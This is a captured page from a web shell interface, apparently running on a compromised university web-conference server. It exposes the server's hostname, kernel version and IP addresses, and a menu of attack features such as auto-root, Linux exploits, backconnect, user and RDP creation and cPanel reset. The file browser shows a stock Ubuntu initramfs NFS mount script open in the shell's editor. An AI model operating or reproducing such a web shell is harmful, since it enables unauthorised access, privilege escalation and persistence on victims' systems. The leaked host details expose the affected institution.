Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.216.78.8
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
initramfs-tools /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
init-bottom
[ DIR ]
drwxr-xr-x
init-premount
[ DIR ]
drwxr-xr-x
init-top
[ DIR ]
drwxr-xr-x
local-block
[ DIR ]
drwxr-xr-x
local-bottom
[ DIR ]
drwxr-xr-x
local-premount
[ DIR ]
drwxr-xr-x
local-top
[ DIR ]
drwxr-xr-x
panic
[ DIR ]
drwxr-xr-x
functions
20.96
KB
-rw-r--r--
local
8.15
KB
-rw-r--r--
nfs
3.02
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : nfs
# NFS filesystem mounting -*- shell-script -*- # FIXME This needs error checking nfs_top() { if [ "${nfs_top_used}" != "yes" ]; then [ "${quiet?}" != "y" ] && log_begin_msg "Running /scripts/nfs-top" run_scripts /scripts/nfs-top [ "$quiet" != "y" ] && log_end_msg fi nfs_top_used=yes } nfs_premount() { if [ "${nfs_premount_used}" != "yes" ]; then [ "${quiet?}" != "y" ] && log_begin_msg "Running /scripts/nfs-premount" run_scripts /scripts/nfs-premount [ "$quiet" != "y" ] && log_end_msg fi nfs_premount_used=yes } nfs_bottom() { if [ "${nfs_premount_used}" = "yes" ] || [ "${nfs_top_used}" = "yes" ]; then [ "${quiet?}" != "y" ] && log_begin_msg "Running /scripts/nfs-bottom" run_scripts /scripts/nfs-bottom [ "$quiet" != "y" ] && log_end_msg fi nfs_premount_used=no nfs_top_used=no } # parse nfs bootargs and mount nfs nfs_mount_root_impl() { configure_networking # get nfs root from dhcp if [ "x${NFSROOT}" = "xauto" ]; then # check if server ip is part of dhcp root-path if [ "${ROOTPATH#*:}" = "${ROOTPATH}" ]; then NFSROOT=${ROOTSERVER}:${ROOTPATH} else NFSROOT=${ROOTPATH} fi # nfsroot=[<server-ip>:]<root-dir>[,<nfs-options>] elif [ -n "${NFSROOT}" ]; then # nfs options are an optional arg if [ "${NFSROOT#*,}" != "${NFSROOT}" ]; then NFSOPTS="-o ${NFSROOT#*,}" fi NFSROOT=${NFSROOT%%,*} if [ "${NFSROOT#*:}" = "$NFSROOT" ]; then NFSROOT=${ROOTSERVER}:${NFSROOT} fi fi if [ -z "${NFSOPTS}" ]; then NFSOPTS="-o retrans=10" fi nfs_premount if [ "${readonly?}" = y ]; then roflag="-o ro" else roflag="-o rw" fi # shellcheck disable=SC2086 nfsmount -o nolock ${roflag} ${NFSOPTS} "${NFSROOT}" "${rootmnt?}" } # NFS root mounting nfs_mount_root() { nfs_top # For DHCP modprobe af_packet wait_for_udev 10 # Default delay is around 180s delay=${ROOTDELAY:-180} # loop until nfsmount succeeds nfs_mount_root_impl ret=$? nfs_retry_count=0 while [ ${nfs_retry_count} -lt "${delay}" ] \ && [ $ret -ne 0 ] ; do [ "$quiet" != "y" ] && log_begin_msg "Retrying nfs mount" sleep 1 nfs_mount_root_impl ret=$? nfs_retry_count=$(( nfs_retry_count + 1 )) [ "$quiet" != "y" ] && log_end_msg done } nfs_mount_fs_impl() { configure_networking if [ -z "${NFSOPTS}" ]; then NFSOPTS="-o retrans=10" fi nfs_premount if [ "${readonly}" = y ]; then roflag="-o ro" else roflag="-o rw" fi read_fstab_entry "$1" # shellcheck disable=SC2086 nfsmount ${roflag} ${NFSOPTS} -o "${MNT_OPTS}" "$MNT_FSNAME" "${rootmnt}${MNT_DIR}" } nfs_mount_fs() { nfs_top # For DHCP modprobe af_packet wait_for_udev 10 # Default delay is around 180s delay=${ROOTDELAY:-180} # Don't loop here; we can't sanely check if it worked like for # the rootfs or /etc. nfs_mount_fs_impl "$1" } mountroot() { nfs_mount_root } mount_top() { # Note, also called directly in case it's overridden. nfs_top } mount_premount() { # Note, also called directly in case it's overridden. nfs_premount } mount_bottom() { # Note, also called directly in case it's overridden. nfs_bottom }
Close